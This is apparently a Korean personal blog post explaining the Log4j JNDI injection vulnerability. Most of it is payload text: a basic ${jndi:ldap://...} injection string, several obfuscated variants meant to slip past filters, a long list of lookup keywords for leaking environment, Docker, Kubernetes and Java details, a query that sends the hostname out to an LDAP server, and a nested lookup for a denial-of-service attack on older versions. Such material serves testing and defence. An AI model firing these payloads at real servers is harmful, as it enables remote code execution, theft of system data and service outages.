효투의 세상 로딩중...
효투의 세상 로딩중...
반응형

log4j 취약점은 자바 프레임워크 중 하나인 log4j를 사용할 때

클라이언트의 요청 값을 문자열 그대로 저장하는 것이 아닌

JNDI lookup 기능으로 인해 해석이 가능한 요청을 실행하기 때문에 발생한다.

 

공격자가 LDAP 또는 RMI 서버를 공격 서버로 생성한 뒤 JNDI injection을 할 때

기본적으로

${jndi:ldap://abcd/abcd}

위와 같은 코드를 삽입하지만 몇가지 우회구문이 있다.

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://abcd/abcd}

${${lower:j}${lower:n}${lower:d}i:${lower:ldap}://abcd/abcd

${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://abcd/abcd

${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://abcd/abcd

${j${${:-l}${:-o}${:-w}${:-e}${:-r}:n}di:ldap://abcd/abcd

 

또한 원격 명령 실행할 여건이 충분하지 않을 때 아래와 같은 키워드를 삽입함으로써 정보를 획득할 수 있다.

${ctx:loginId}
${map:type}
${filename}
${date:MM-dd-yyyy}
${docker:containerId}
${docker:containerName}
${docker:imageName}
${env:USER}
${event:Marker}
${mdc:UserId}
${java:runtime}
${java:vm}
${java:os}
${jndi:logging/context-name}
${hostName}
${docker:containerId}
${k8s:accountName}
${k8s:clusterName}
${k8s:containerId}
${k8s:containerName}
${k8s:host}
${k8s:labels.app}
${k8s:labels.podTemplateHash}
${k8s:masterUrl}
${k8s:namespaceId}
${k8s:namespaceName}
${k8s:podId}
${k8s:podIp}
${k8s:podName}
${k8s:imageId}
${k8s:imageName}
${log4j:configLocation}
${log4j:configParentLocation}
${spring:spring.application.name}
${main:myString}
${main:0}
${main:1}
${main:2}
${main:3}
${main:4}
${main:bar}
${name}
${marker}
${marker:name}
${spring:profiles.active[0]
${sys:logPath}
${web:rootDir}
${env:HOSTNAME}
${sys:SYS_NAME:-i}

키워드를 삽입한 JNDI 쿼리는 다음과 같다

${jndi:ldap://abcd/${env:HOSTNAME}/abcd}

 

실제로 헌트리스에서 키워드를 테스트해보면 아래 그림과 같이 시스템과 관련된 다양한 정보를 얻을 수 있다.

 

우회구문 뿐만 아니라 처음 log4j cve가 발견된 뒤 패치가 여러번 있었는데

그에 파생되어 여러 취약점이 추가적으로 발생했다.

log4j 취약점을 이용하여 아래 인젝션을 통해 DoS 공격도 가능하다 (2.16 하위 버전에서 가능한걸로 알려짐)

${${::-${::-$${::-j}}}}

 

반응형
  • hyotwo7658@gmail.com

복사 완료 👍